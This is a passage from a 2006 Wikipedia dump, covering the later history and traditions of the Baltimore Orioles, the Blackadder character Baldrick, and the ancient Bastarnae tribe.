The Orioles farm system had begun to produce a number of high quality players and coaches who formed the core of winning teams; from 1966 to [[1983]], the Orioles won three World Series titles (1966, [[1970]], and 1983), six American League pennants, and five of the first six American League Eastern Division titles. They played baseball the &quot;Oriole Way&quot;, an organizational ethic best described by longtime farm hand and coach Cal Ripken Sr's phrase &quot;'''perfect''' practice makes perfect&quot;. The &quot;Oriole Way&quot; was a belief that hard work, professionalism, and a strong understanding of fundamentals were the keys to sucess at the major league level. It was based on the belief that if every coach, at every level, taught the game the same way, the organization could produce &quot;replacement parts&quot; that could be substituted seamlessly into the big league club with little or no adjustment. This led to an unprecidented run of success from 1966 to 1983 which saw the Orioles become the envy of the league, and the  winningest team in baseball.

====Weaver Ball====
During this rise to prominence, &quot;Weaver Ball&quot; came into vogue. Named for fiery manager Earl Weaver, &quot;Weaver Ball&quot; is defined by the Oriole trifecta of &quot;Pitching, Defense, and the Three-Run Home Run&quot;.

When an Oriole GM was told by a reporter that Earl Weaver, as the skipper of a very talented team, was a &quot;push-button manager&quot; he replied &quot;''Earl built the machine and installed all the buttons!''&quot;.

As the Robinson boys grew older, newer stars emerged including multiple [[Cy Young Award]] winner [[Jim Palmer]] and switch-hitting first baseman [[Eddie Murray]]. With the decline and eventual departure of two local teams - the [[National Football League|NFL's]] [[Indianapolis Colts|Baltimore Colts]] and baseball's [[Texas Rangers (baseball)|Washington Senators]], the Orioles' excellence paid off at the gate, as the team cultivated a large and rabid fan base at old Memorial Stadium.

====Ripken Era===
In 1981, [[Cal Ripken, Jr.]], the son of former Oriole player and manager [[Cal Ripken, Sr.]] joined the Orioles organization, and went on to become the face of the Oriole team until his retirement in 2001.  While setting several records for offensive and defensive performance as a shortstop, Cal will be remembered most for his streak of consecutive games played.  Ripken played in every game from May 30, 1982 until September 20, 1998, breaking [[Lou Gehrig]]'s record by three full seasons.

1991 marked the last year in Memorial Stadium.  

===Camden Yards===
In 1992, with grand ceremony, the Orioles began their season in a brand new ballpark, [[Oriole Park at Camden Yards]], and thus retiring [[Memorial Stadium]] in the major league baseball world.  In 1993, [[Peter Angelos]] bought the Baltimore Orioles, which returned the team to local ownership.  However, Angelos' ownership resulted in a number of controversies.  

===1995-1999===
Angelos hired [[Pat Gillick]] as GM for the Orioles in 1995.  Gillick went on to bring in several premium players like [[B.J. Surhoff]], [[Randy Myers]], and [[Roberto Alomar]].  Under Gillick and manager [[Davey Johnson]], the Orioles made their first return trip to post-season play by winning the A.L. Wild Card spot in the 1996 season.  The Orioles followed up by winning the A.L. East Division title in 1997 by going &quot;wire to wire&quot; (being in first place from the first day of the season to the last).  However, after the Orioles failed to advance to the World Series in either playoff, Johnson resigned as manager following a dispute with Angelos, with pitching coach [[Ray Miller (baseball)|Ray Miller]] taking his place.  With Miller at the helm, the Orioles found themselves not only out of the playoffs, but also with a losing season.  When Gillick's contract expired in 1998, it was not renewed.  Angelos brought in Frank Wren to take over as GM.  The Orioles added volatile slugger [[Albert Belle]], but the team's woes continued in the 1999 season, with stars like [[Rafael Palmeiro]], [[Roberto Alomar]], and [[Eric Davis]] leaving in free agency.  After a second straight losing season, Angelos fired both Miller and Wren. He named Syd Thrift the new GM and brought in former Cleveland manager [[Mike Hargrove]].

===2000-20004===
Going into the [[2006 in baseball|2006]] season, the Orioles have had eight consecutive sub-.500 seasons due to the combination of lackluster play on the team’s part, a string of ineffective management, and the ascent of the Yankees and Red Sox to the top of the game - each rival having a clear advantage in financial flexibility due to their larger media market size. Further complicating the situation for the Orioles is the relocation of the Montreal Expos franchise to nearby [[Washington, D.C.]] - for which Angelos has demanded compensation from [[Major League Baseball]] (as opposed to doing something useful, like signing better pitchers). The new [[Washington Nationals]] threaten to carve into the Orioles fan base and television dollars. There is some hope that having competition in the larger Baltimore-Washington metro market will spur the Orioles to field a better product to compete for fans with the Nationals. 

Beginning with the 2003 season, big changes began to sweep through the organization to try to snap the losing ways.  General Manager Syd Thrift was fired and to replace him, the Orioles hired [[Jim Beattie]] as the Executive Vice President and [[Mike Flanagan (baseball player)|Mike Flanagan]] as the Vice President of Baseball Operations.  After another losing season, manager [[Mike Hargrove]] was not resigned and Yankees coach [[Lee Mazzilli]] was brought in as the new manager.  The team signed powerful hitters in SS [[Miguel Tejada]], C [[Javy Lopez]], and former Oriole 1B [[Rafael Palmeiro]].  The following season, the Orioles traded for OF [[Sammy Sosa]].  

===The 2005 Collapse===
The 2005 season will likely go down as the most controversial in the Orioles' history.  The Orioles began the season with a tremendous start, holding onto first place in the AL East division for 62 straight days.  However, turmoil on and off the field began to take its toll as the team started struggling around the All-Star break, dropping them close to the surging Yankees and Red Sox. Injuries to [[Luis Matos]], [[Javy Lopez]], [[Brian Roberts]], [[Sammy Sosa]], and [[Larry Bigbie]] came within weeks of each other. The team was increasingly dissatisfied with the front office's and manager Lee Mazzilli's &quot;band-aid&quot; moves to help the team through this period of struggle. Various minor league players such as Single-A Frederick outfielder [[Jeff Fiorentino]] were brought up in place of more experienced players such as [[David Newhan]], who batted .311 the previous season.

On July 15, 2005, [[Rafael Palmeiro]] collected his 3,000th hit in Seattle, and was suspended for a violation of [[Major League Baseball drug policy|MLB's drug policy]] 15 days later, after testing positive for the anabolic steroid [[stanozolol]].  The Orioles continued tumbling, falling out of first place and further down the AL East standings.  This downfall cost [[Lee Mazzilli]] his managerial job in early August, allowing bench coach and 2003 managerial candidate [[Sam Perlozzo]] to take over as interim manager and lead the team to a 23-32 finish.

The Orioles' 30-62 second half record is, from a percentage standpoint, the worst in baseball history after playing .600 ball for the first 70 days. The club's major offseason acquisition, [[Sammy Sosa]], posted his worst performance in a decade, with 14 homeruns and a .221 batting average. The Orioles did not attempt to resign him, considering his exorbitant salary, his miserable performance, and his stormy relationship with batting coach [[Terry Crowley]] and teammates including [[Miguel Tejada]].  The Orioles also allowed Rafael Palmeiro to file for free agency and publicly stated they would not resign him.

===2005-2006 offseason===
====Front Office Changes====
Following the disappointing 2005 season, it was clear major changes needed to be made within the Orioles.  In the front office, Executive VP [[Jim Beattie]] was not re-signed, allowing [[Mike Flanagan (baseball player)|Mike Flanagan]] to become the sole GM of the Orioles.  Shortly after, [[Jim Duquette]] was hired as Vice President of Baseball Operations, which was Flanagan's previous position.  Duquette made it clear at his signing that he reported to Flanagan, so the &quot;two-headed GM&quot; will not exist anymore.  The Orioles also fired assistant General Manager [[Ed Kenney]] and asked for the resignation of [[Dave Ritterpusch]], Director of Baseball [[Information Systems]].

====Coaching Staff Changes====
There was also drastic changes in the Orioles coaching staff.  Perlozzo was named the new manager, and unlike Mazzilli, was given full freedom to name his coaching staff.  Perlozzo led off strong by convincing Atlanta pitching coach [[Leo Mazzone]], who had revolutionized the careers of many pitchers in Atlanta, to become the pitching coach for the Orioles.  He retained hitting coach [[Terry Crowley]] and first base coach [[Dave Cash (baseball)|Dave Cash]].  Former base coach and [[1983 World Series]] [[World Series MVP Award|MVP]] [[Rick Dempsey]] was named the bullpen coach, with [[Tom Trebelhorn]] resuming third base coach.  Perlozzo rounded out his staff with former Cubs and Phillies manager [[Lee Elia]] as the bench coach.

====Roster Changes====
The roster changes of 2005 were prefaced with [[Peter Angelos|Peter Angelos']] comments: &quot;We are coming back strong next year. I know you have heard that tune before, but this time it will literally come true.&quot; The Orioles knew they had to try to sweep away many of the negative influences from the previous era, and so they allowed [[Rafael Palmeiro]], [[Sammy Sosa]], and [[B.J. Surhoff]] to become free agents. They also set their wishlist: An everyday first baseman, an experienced starter, a closer, a defensive catcher, outfield help, more defense, and more speed. However, their offseason moves showed no differences from past years. The Orioles were not able to resign closer [[B.J. Ryan]], who signed a landmark deal with the [[Toronto Blue Jays]]. They were also locked out in bids to sign first baseman [[Paul Konerko]], outfielder [[Johnny Damon]], and starter [[Paul Byrd]]. The Orioles were rumoured to have a deal with outfielder [[Jeromy Burnitz]], but his agent balked at language regarding the physical, and Burnitz signed with the [[Pittsburgh Pirates]]. The Orioles chose not to enter the bidding for players like [[A.J. Burnett]] and [[Kevin Millwood]], whose asking prices were far beyond what the Orioles were willing to pay. The only target the Orioles managed to sign was catcher [[Ramon Hernandez]]. Locked out of pursuits to sign top-tier players, the Orioles decided to make several moves to allow minor league prospects more time to develop. This led to bringing in players like [[Jeff Conine]] and [[Kevin Millar]], both of whom are known for their positive presence in the clubhouse. The Orioles also made several trades to bring in needed players. They first traded disgruntled reliever [[Steve Kline]] for [[LaTroy Hawkins]], then traded for outfielder [[Corey Patterson]], who brings speed and defense to the outfield, and traded former closer [[Jorge Julio]] and [[John Maine]] for experienced starter [[Kris Benson]].  The Orioles also addressed future free agents by extending the contract of outfielder [[Jay Gibbons]] and discussing contract extensions with second baseman [[Brian Roberts]] and third baseman [[Melvin Mora]].

====Miguel Tejada====
The Orioles' lack of movement over the course of the offseason frustrated many, including [[Miguel Tejada]]. This led to him stating, controversially, that he &quot;wanted to play for a winner&quot;, and &quot;perhaps a change of scenery is needed&quot;. The Oriole front office began to talk to many teams interested in Tejada as a trade. It was rumored that the [[Boston Red Sox]] offered [[All-Star]] outfielder [[Manny Ramirez]] for Tejada, though no Orioles officials confirmed this. There were also talks of [[Mark Prior]] being offered for Tejada. After several weeks, teammate [[Melvin Mora]] facillitated a conference call between the Orioles and Tejada where Tejada backed down and said his comments were intended to motivate the Orioles to make more moves in free agency.

===2006 Season===

==&quot;O!&quot;==
Since the 1970s, it has been a tradition at Orioles games for fans to accent the line of &quot;Oh say does that Star-Spangled Banner yet wave&quot; in the &quot;[[The Star Spangled Banner]]&quot; by yelling &quot;O!&quot; This tradition carries on to this day. Some consider the yell to be disrespectful to the [[national anthem]].  However, since Francis Scott Key wrote the National Anthem in the Harbor of Baltimore during the War of 1812, Baltimoreans have felt they have the right to sing the song in the manner that they please.  

The tradition is so strong and beloved, that it is carried out at many other sporting events, both professional and not, throughout the [[Baltimore-Washington metropolitan area|Baltimore/Washington area]]. Notably at [[Baltimore Ravens]] games. The tradition has also sparked many high schools and univerisities in the Baltimore/Washington area to ask crowds to not do the chant while the national anthem is sung (to little effect).

The &quot;O!&quot; created a bit of controversy in the summer of 2005 when hundreds of fans every night would do the &quot;O!&quot; cry at [[Washington Nationals]] games at [[RFK Stadium]]. Many believed that the cry was out-of-place at RFK, while many insisted that many Washingtonians were still Orioles fans (they rooted for them years after the Senators relocation) and the chant was welcome at Nats games. A June 10, 2005, story on the front page of the ''[[Washington Post]]'' by David Fahrenthold chronicled this debate.

== Music ==
It is an Orioles tradition to play [[John Denver]]'s &quot;[[Thank God I'm a Country Boy]]&quot; after &quot;[[Take Me Out to the Ballgame]]&quot; during the [[seventh inning stretch]]. During the bridge of the song, in which Denver holds a long note, fans yell &quot;Ooooooooh!&quot; Similar to the &quot;O!&quot; yell.

Other musical traditions include taking the field to the song &quot;Oriole Magic,&quot; playing a sample from ''[[The Wizard of Oz]]'' of soldiers yelling &quot;Oh-wee-oh! We-oh-oh,&quot;  playing [[Yello]]'s &quot;O Yeah&quot; after a good play by the Orioles, playing [[Get Back]] from [[The Beatles]] when an opposing batter has to return to the batter's box after he headed to first base on a ball that went foul, and playing [[Hit the Road Jack]] after when an opposing pitcher leaves.

Some songs from special events include &quot;[[One Moment in Time]]&quot; for Cal Ripken's record-breaking game. For his last game, the theme from [[Pearl Harbor (film)|Pearl Harbor]], &quot;There You'll Be&quot; by [[Faith Hill]], was featured.

==The World Baseball Classic==
:In March of [[2006]] the [[World Baseball Classic]] will be held.  
:This is a competition featuring 16 teams from around the world participating in a baseball tournament 
:It will take place around the globe and last 17 days. 
:
:The Orioles have more players participating in the WBC than any other [[MLB]] team.  
:These 9 players are:
:
:[[John Stephens]]      Relief Pitcher        [[Australia]],
:[[Bruce Chen]]         Starting Pitcher      [[Panama]],
:[[Rodrigo López]]      Starting Pitcher      [[Mexico]],
:[[Melvin Mora]]        Third Baseman         [[Venezuela]],
:[[Daniel Cabrera]]     Starting Pitcher      [[Dominican Republic]],
:[[Miguel Tejada]]      Shortstop             [[Dominican Republic]],
:[[Erik Bedard]]        Starting Pitcher      [[Canada]],
:[[Adam Loewen]]        Starting Pitcher      [[Canada]],
:[[Luis Matos]]         Center Fielder        [[Puerto Rico]],

==Quick facts==
:'''Founded:''' [[1893 in sports|1893]], as the [[Milwaukee, Wisconsin]] franchise in the minor Western League.  In [[1900 in sports|1900]] that league became the American League, which achieved major league status in 1901.
:'''Formerly known as:''' Milwaukee Brewers, 1894-1901.  [[St. Louis Browns]], [[1902 in sports|1902]]-[[1953 in sports|1953]].
:'''Home ballpark:''' [[Oriole Park at Camden Yards]] [[1992]]-present
:'''Prior home parks:''' [[Memorial Stadium (Baltimore)]] [[1954]]-[[1991]], [[Sportsman's Park]] (St. Louis)
:'''Uniform colors:''' Black and Orange
:'''Logo design:''' An [[Baltimore Oriole|oriole]] bird
:'''Playoff appearances''' (11): [[1944]], [[1966]], [[1969]], [[1970]], [[1971]], [[1973]], [[1974]], [[1979]], [[1983]], [[1996]], [[1997]]

==Postseason appearances==
{| class=&quot;wikitable&quot;  cellpadding=2 cellspacing=2
|-
!Year
!colspan=2|[[American League Division Series|ALDS]]
!colspan=2|[[American League Championship Series|ALCS]]
!colspan=2|[[World Series]]
|-
|[[1944 in baseball|1944]] (St. Louis)
|
|
|
|
|[[St. Louis Cardinals]]
|L
|-
|[[1966 in baseball|1966]] (Baltimore)
|
|
|
|
|[[Los Angeles Dodgers]]
|W
|-
|[[1969 in baseball|1969]]
|
|
|[[Minnesota Twins]]
|W
|[[New York Mets]]
|L
|-
|[[1970 in baseball|1970]]
|
|
|Minnesota Twins
|W
|[[Cincinnati Reds]]
|W
|-
|[[1971 in baseball|1971]]
|
|
|[[Oakland Athletics]]
|W
|[[Pittsburgh Pirates]]
|L
|-
|[[1973 in baseball|1973]]
|
|
|Oakland Athletics
|L
|
|
|-
|[[1974 in baseball|1974]]
|
|
|Oakland Athletics
|L
|
|
|-
|[[1979 in baseball|1979]]
|
|
|[[Los Angeles Angels of Anaheim|California Angels]]
|W
|Pittsburgh Pirates
|L
|-
|[[1983 in baseball|1983]]
|
|
|[[Chicago White Sox]]
|W
|[[Philadelphia Phillies]]
|W
|-
|[[1996 in baseball|1996]]
|[[Cleveland Indians]]
|W
|[[New York Yankees]]
|L
|
|
|-
|[[1997 in baseball|1997]]
|[[Seattle Mariners]]
|W
|Cleveland Indians
|L
|
|
|}

==[[Baseball Hall of Fame]]rs==
===St. Louis Browns===
*[[Willard Brown]]
*[[Jesse Burkett]]
*[[Rick Ferrell]]
*[[Goose Goslin]]
*[[Rogers Hornsby]]
*[[Heinie Manush]]
*[[Branch Rickey]]
*[[George Sisler]]
*[[Rube Waddell]]
*[[Bobby Wallace]]

===Baltimore Orioles===
*[[Luis Aparicio]]
*[[Reggie Jackson]]
*[[George Kell]]
*[[Eddie Murray]]
*[[Jim Palmer]]
*[[Robin Roberts (baseball player)|Robin Roberts]]
*[[Brooks Robinson]]
*[[Frank Robinson]]
*[[Earl Weaver]]
*[[Hoyt Wilhelm]]

==Current roster==
{{:Baltimore Orioles roster}}

==Minor league affiliations==
* '''AAA:''' [[Ottawa Lynx]], [[International League]]
* '''AA:''' [[Bowie Baysox]], [[Eastern League]]
* '''Advanced A:''' [[Frederick Keys]], [[Carolina League]]
* '''A:''' [[Delmarva Shorebirds]], [[South Atlantic League]]
* '''Short A:''' [[Aberdeen IronBirds]], [[New York-Penn League]]
* '''Rookie:''' [[Bluefield Orioles]], [[Appalachian League]]
* '''Rookie:''' [[VSL Orioles]], [[Venezuelan Summer League]]

==See also==
*[[Baltimore Orioles team records|Orioles statistical records and milestone achievements]]
*[[Baltimore Orioles/Players of note|Orioles players of note]]
*[[Baltimore Orioles/Broadcasters|Orioles broadcasters and media]]
*[[Baltimore Orioles/Managers and ownership|Orioles managers and ownership]]

==External links==
*[http://baltimore.orioles.mlb.com/NASApp/mlb/bal/homepage/bal_homepage.jsp Baltimore Orioles official web site]
*[http://www.orioleshangout.com Orioles Hangout - Orioles fan site]

{{MLB}}

[[Category:Baltimore Orioles| ]]
[[Category:Major League Baseball teams]]

[[de:Baltimore Orioles]]
[[es:Baltimore Orioles]]
[[ja:ボルチモア・オリオールズ]]
[[pt:Baltimore Orioles]]
[[sv:Baltimore Orioles]]
[[zh:巴爾的摩金鶯]]</text>
    </revision>
  </page>
  <page>
    <title>Baldrick</title>
    <id>4341</id>
    <revision>
      <id>42122650</id>
      <timestamp>2006-03-03T23:43:01Z</timestamp>
      <contributor>
        <username>Krash</username>
        <id>219529</id>
      </contributor>
      <minor />
      <comment>/* S. Baldrick - Series 3 */ dab &quot;Pipe&quot;</comment>
      <text xml:space="preserve">'''Baldrick''' is a [[fictional character]] featured in the television series ''[[Blackadder]]''. He serves as the servant, sidekick, and frequent punching bag of [[Edmund Blackadder]], and is played by the actor [[Tony Robinson]]. Just as Blackadder exists in many incarnations throughout the ages, so does Baldrick; wherever there is a Blackadder there is a Baldrick serving him. Initially Baldrick was the smart one and Blackadder the idiot, but as Blackadder's social status has fallen so has Baldrick's intelligence, while Blackadder's rises with each series.

Intelligent or not, Baldrick is always one for inventing &quot;cunning plans&quot;, which are generally ridiculed by Blackadder, who nevertheless ends up using them. Though Baldrick is now famed for his &quot;cunning plans&quot;, the actual catchphrase was not regularly used until the thrid series, with Blackadder saying it once in the first series and Baldrick claiming to have &quot;a plan&quot; in a cunning voice on one occasion in the second series.

Other traits shared by all Baldricks (except possibly the first one) are sheer disgustingness and an obsession with [[turnip]]s.

The character is named for the [[Wiktionary:baldrick|baldrick]].

== Baldrick, Son of Robin the Dung Gatherer - Series 1 ==
[[Image:Baldrick1.jpg|right|thumb|Baldrick Series 1|155px]]
The [[mediaeval]] Baldrick was probably the only Baldrick of the four who could really be described as '''clever'''. Baldrick, an ex-[[dung]] shoveller (a respected position, which he had worked very hard to get - earlier jobs include milking [[pig]]s and mucking out [[Leprosy|lepers]]), first met [[Prince Edmund (Blackadder) | Prince Edmund]] at the [[feast]] before the [[Battle of Bosworth Field]]. The two, along with [[Lord Percy Percy|Lord Percy]], toasted their new friendship, unaware that from that point onwards, their descendants' lives would be eternally entwined.

Although cleverer than the Prince, Baldrick holds him in some sort of awe. He often leads cheers in the Prince's honour (along with Lord Percy, who tries hard to join in), fills his head with illusions of grandeur, and often ends up doing his dirty work. This included carrying the decapitated body of [[Richard III of England|Richard III]] and sleeping with the Spanish Infanta, Edmund's [[fiancée]], so that Edmund didn't have to. The latter task resulted in several injuries, including a seriously blackened eye. When Baldrick is abandoned by Edmund in the final episode, a tear falls from his eye.

It was this Baldrick who suggested the title 'The Black Adder' for Prince Edmund (Edmund wanted to be called 'The Black Vegetable'), which his descendants later adopted as a surname.

== Baldrick - Series 2 ==
[[Image:Baldrickpic.jpg|right|thumb|Baldrick Series 2|155px]]
The [[Elizabethan]] Baldrick is the servant and [[bond]]sman, rather than a friend, to [[Lord Blackadder]], who mistreats him, and, Baldrick claims, at first tried to [[kill]] him. He has a bedroom in Blackadder's house, but has also been forced to sleep in the [[gutter]] and on the [[roof]]. He has a tendency to eat [[dung]]. Baldrick has been in Lord Edmund's service longer than either of them care to remember. Yet although his master treats him with the sort of [[contempt]] reserved for [[leprosy|lepers]], he remains intensely loyal.

This Baldrick, whilst perhaps not as dim as his descendants, is much more [[stupidity|stupid]] than the original. A kindly soul, Baldrick's lack of formal education is compensated for by his basic streetwise cunning. Whilst his 'cunning plans' do sometimes have a strange, twisted and often [[perverse]] logic and cunning to them (one suggestion was that Blackadder repay his debts by making money as a male [[prostitute]], another is to disguise a 'mad, wild, killer [[bull]]' as a [[rooster]] and enter it in a [[cock fight]]), he does show an entertaining display of stupidity. In one episode, Blackadder attempts to teach Baldrick how to add. Baldrick's conclusions, which include 'two beans plus two beans equals some beans', 'two beans plus two beans equals three beans... and that one' and 'two beans plus two beans makes a very small [[casserole]]', lead Blackadder to comment 'to you, Baldrick, the [[Renaissance]] was just something that happened to ''other people'', wasn't it?'

It was also in this series that the first signs of Baldrick's love of [[turnip]]s was shown, in the episode 'Beer', where he and Percy famously discover a turnip shaped like a 'thingy'. Baldrick later describes the incident as 'triffic'. He is particularly delighted by the discovery, because it contrasts with his own 'thingy' which is shaped like a turnip.

Baldrick once went on an 'all [[mouse]] diet' by hanging a piece of [[cheese]] off of the end of his nose and lying with his mouth open, hoping that mice would scurry in. He later tried the same thing, with a mouse on the end of his nose to catch a [[cat]], for variety.

Baldrick was also [[bridesmaid]] at Lord Blackadder's abortive [[wedding]]. &quot;[[Elizabeth I (Blackadder character)|Queenie]]&quot; kept him as a pet calling him Lassie (Baldrick did not complain) and he stuck two [[pencil]]s up his nose, so that he could attended a Royal [[fancy dress party]] as a pencil case.

== S. Baldrick - Series 3 ==

[[Image:Baldrick_series_3.jpg|right|thumbnail|Baldrick Series 3|155px]]
The Baldrick of [[English Regency|Regency Britain]] works as a dogsbody to [[Mr. E. Blackadder]] esq.,  butler to [[Prince George (Blackadder character)| Prince George]]. He lives in a [[Piping|pipe]] in the upstairs water closet of the [[Palace]].
 
The third Baldrick is much more noticeably stupid and [[disgusting]] than those previous to him. Like his [[Elizabethan era|Elizabethan]] ancestor, he is known to eat [[dung]] occasionally. He is also more childlike. There is not the slightest sign of 'cunning' in any of his plans, which include:
* escaping the [[guillotine]] by waiting until your head has been cut off, then 'springing into action' and running 'around and around the farmyard, and out the farmyard gate', in the style of a [[chicken]], and
* replacing the burnt first copy of the dictionary by taking the string, which has been salvaged, and putting in some new pages (Blackadder clarifies that Baldrick is suggesting that he re-write the entire dictionary in a single night).
Blackadder also claims that Baldrick has never changed his [[trousers]], and implores him never to do so, for they are, Blackadder claims, akin to [[Pandora's Box]].

Although he is now on a closer social standing to Blackadder than before, he still receives the same level of abuse as his Elizabethan ancestor. Edmund punches him; kicks him; breaks a milk-jug over his head; threatens to cut him up into strips and tell the prince that he walked over a very sharp cattle grid in an extremely heavy hat; and promises five minutes of hellish tortures involving a small [[pencil]].

However, despite his noticeable disabilities, this Baldrick has more success than any of the others. In an election rigged by Blackadder, he is elected [[Member of Parliament|MP]] for Dunny-on-the-Wold, a [[rotten borough]], although he was intended to be a puppet for Blackadder to manipulate. He is later made a [[Lord]] by Prince George, and is, therefore, eligible to sit in the [[House of Lords]] (although whether or not he ever does so is another matter, and as he is never again referred to by his title after episode 1, it seems plausible that Blackadder persuaded the Prince to [[attainder|attaint]] Baldrick of his peerage).  He also succeeds where no Baldrick has succeeded before or since, in calling Blackadder a 'lazy, big nosed, rubber-faced bastard'.

Baldrick spends the £400,000 he received as a Lord on an enormous turnip: &quot;well, I had to haggle.&quot; Blackadder later destroys it by hitting Baldrick with it.

Baldrick isn't given any sort of first name until the third series, when he speculates that it might be &quot;Sodoff&quot;, since his childhood friends would say &quot;Sod off, Baldrick!&quot; A diplomatic Blackadder opts to record him as &quot;S. Baldrick&quot;. The initial appears to have been adopted by his descendants.

His heroes are the [[highwayman]] [[Amy Hardwood|'The Shadow']], and [[The Scarlet Pimpernel]], both of whom were killed by Blackadder.

== Private S. Baldrick - Series 4 ==
[[Image:Baldrick series 4.gif|right|thumbnail|Private Baldrick Series 4|155px]]
Private Baldrick is a [[soldier]] in a [[World War I|First World War]] trench, serving under [[Captain Blackadder]] and [[Lieutenant The Honourable George Colthurst St. Bartleigh |Lieutenant George]]. His hero is [[Lord Flashheart]].

Equally as disgusting as the third Baldrick, Private Baldrick is, without a doubt, the most stupid of the Baldrick [[dynasty]] to date. His 'cunning plans' verge on those of an [[insane]] person. Examples include carving his name on a [[bullet]], in relation to the old saying 'a bullet with your name on it', his explanation being that if he owns the bullet, it won't ever kill him as he won't ever shoot himself ('shame' comments Captain Blackadder), and the chances of there being two bullets with 'Baldrick' on them are 'very small indeed'.

Private Baldrick's hobbies include [[cookery]], his specialities include:
* ''Rat au Van'' (a [[rat]] that's been run over by a [[van]]),
* ''Filet mignon'' in [[sauce bearnaise]] (dog turds covered in glue),
* Plum duff (a mole hill decorated in rabbit droppings),
* Cream [[custard]] (cat's vomit), and
* A sort of [[coffee]] which consists of hot [[mud]], spit, [[dandruff]] and rather dubious 'chocolate sprinkles'.
* [[Apple]] crumble which contains [[fish (food)|fish]]
* More rat; Sauté, which involves:
** taking the freshly shaved rat and marinading it in a puddle until it is drowned
** stretching it out under a hot lighbulb
** getting within dashing distance of a latrine
** wolfing it down!
* Rat fricassé, which is the same as above, but a slightly ''bigger'' rat

This Baldrick is also a [[poetry|poet]]. His greatest poem is, without a doubt, 'The German Guns'. The words are:

 Boom, Boom, Boom, Boom,
 Boom, Boom, Boom,
 Boom, Boom, Boom, Boom,
 Boom, Boom, Boom

Baldrick was particularly surprised when Captain Blackadder guessed the final line. 

(During his time in the trenches, Baldrick also wrote a second poem; the words are as follows:

Hear the words I sing,
War's a horrid thing,
So I sing sing sing...ding-a-ling-a-ling)

Baldrick also does a fantastic [[Charlie Chaplin]] impression (although some believe it to be a [[slug]] balancing act).

Despite his stupidity, Private Baldrick (however inadvertently) delivers the most profound speech of the lot. In preparation for 'the final push', tension is high, and Baldrick demands, &quot;Why can't we just stop sir? Why can't we just say 'no more killing, let's all go home'? Why can't we pack it in? Why?&quot;. Neither Captain Blackadder nor Lieutenant George are able to come up with a good answer.

It is believed that Private S. Baldrick was killed going 'over the top' in [[1917]].

==Other Baldricks==

Other members of the family have been seen in various ''Blackadder'' specials. They generally appear to be similar to the character seen in ''Blackadder the Third'', possibly suggesting that he has become the &quot;definitive&quot; Baldrick. They are:

*Baldrick, servant to Sir Edmund Blackadder in ''Blackadder, the Cavalier Years''. Like his Elizabethan ancestor he moonlights as an executioner, although in his case it is part of a cunning plan to save the life of [[Charles I of England]] by replacing his head with a [[pumpkin]]. He is the son of a [[pig]]-farmer and a bearded lady.

*Mr Baldrick, assistant in Ebeneezer Blackadder's moustache shop in ''Blackadder's Christmas Carol''. While still stupid, it seems that having to work for the exceedingly naïve Mr Blackadder has forced him to develop some of the savvy of his earlier ancestors. He remains the only person to be fooled by Tiny Tom Scratchit's alleged lameness, however. He is also possibly the only person to spell &quot;Christmas&quot; without getting ''any'' of the letters right (he initially renders the word as &quot;Kwelfnuve&quot;, but strikes it through, correcting it to &quot;Kweznuz&quot;).

*Baldrick, slave to Grand Admiral Blackadder of the Dark Segment in the future section of ''Blackadder's Christmas Carol''. He doesn't actually get to do much except stand around in a posing pouch. In an alternate future in which ''he'' is the Grand Admiral, he manages to destroy his own forces. He explains to the queen, &quot;Good news... for the enemy. They completely destroyed our entire army. I got a bit confused and dropped a bomb on our lot'.

*Baldrick, [[septic tank]] cleaner to the 21st century Lord Blackadder in ''Blackadder: Back &amp; Forth''. His first appearance is serving Blackadder's [[millennium]] dinner, which he does wearing nothing but an amusing apron, on a whim. His cooking is similar to Private Baldrick's; he prepared dinner by coughing over an [[avocado]]. His [[underpants]] may date from the 18th century, or in any case smell as though they do, and turn out to be the cause of the [[extinction]] of the [[dinosaur]]s. Rather surprisingly he builds a working [[time travel|time machine]], making him &quot;the greatest genius who ever lived&quot;. Or it would do, if he knew ''how'' it worked. Following his master's rewriting of history, he becomes [[Prime Minister of the United Kingdom]] - and possibly [[dictator]], as the television commentator observes that [[election]]s have been abolished.

*Legionary Baldricus, [[Roman Army|soldier]] under Centurion Blacaddicus in the [[Roman Britain]] section of ''Blackadder:Back &amp; Forth''. Part of the forces defending [[Hadrian's Wall]]. He is apparently [[bilingual]] (although it's possible he's a local conscript and doesn't really understand [[Latin]]). He wears his helmet back to front, and was presumably killed by the attacking &quot;[[Scotland|Scots]]&quot; (although they would actually have been [[Picts]]).

One of the six [[Ravens]] at the [[Tower of London]] is named Baldrick, presumably in response to the [[Blackadder]] series. 

[[Category:Blackadder characters|Baldrick]]
[[Category:Fictional British people]]</text>
    </revision>
  </page>
  <page>
    <title>Bastarnae</title>
    <id>4342</id>
    <revision>
      <id>38053530</id>
      <timestamp>2006-02-03T21:31:27Z</timestamp>
      <contributor>
        <ip>4.244.192.9</ip>
      </contributor>
      <text xml:space="preserve">'''Bastarnae''' were a Germanic tribe (according to Tacitus), or, possibly, a Celtic tribe (according to Livy) in the first millennium BC. When they appear in the historical sources, they were settled in [[Galicia (Central Europe)|Galicia]] and [[Bukovina]]. They appeared on the lower [[Danube]] about [[200 BC]], and were used by [[Philip V of Macedon]] against his [[Thracian]] neighbours. Defeated by the Thracians, the Bastarnae returned north, leaving some of their number settled on [[Peuce]] (hence called Peucini), an island in the [[Danube]]. 

Their main body occupied the country between the eastern [[Carpathian Mountains|Carpathians]] and the [[Danube]]. As allies of King [[Perseus of Macedonia]] and of [[Mithridates II of Parthia|Mithridates the Great]], and lastly on their own account, they had hostile relations with the Romans.  In the time of [[Augustus]], the Romans defeated the Bastarnae and made a peace.  This peace however was disturbed by a series of incursions by the Bastarnae against the nearby Roman provinces.  After a time, the Bastarnae gave way to the [[Goths]], with whom they seem to have amalgamated, and we last hear of them as transferred by the emperor [[Probus]] to the right bank of the Danube. 

[[Polybius]] and the authors who copy him regard the Bastarnae as Galatae; the Romans originally used German as a geographical rather than ethnic classification, leading to the confusion of the Bastarnae with Germans. See &quot;Atlas of Ancient History&quot;, p50 by Colin McEvedy for a discussion of this point. [[Strabo]] claims ignorance of their origins; [[Gaius Cornelius Tacitus|Tacitus]] expressly declares their German origin but says that the race was degraded by intermarriage with [[Sarmatians]]. 

The theory that they were a [[Germanic tribe]] considers them to have been among the first [[East Germanic]] tribes to have emigrated from [[Scandinavia]] (possibly as early as the [[8th century BC]][http://www.arild-hauge.com/folkevan.htm]). Reaching the Danube in ca. 200 BC. they were  among the first Germanic tribes to come into contact with the ancient world and the [[Slavs]]. 

==References==
*{{1911}}


[[Category:Ancient Germanic peoples]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Ethnic groups in Europe]]

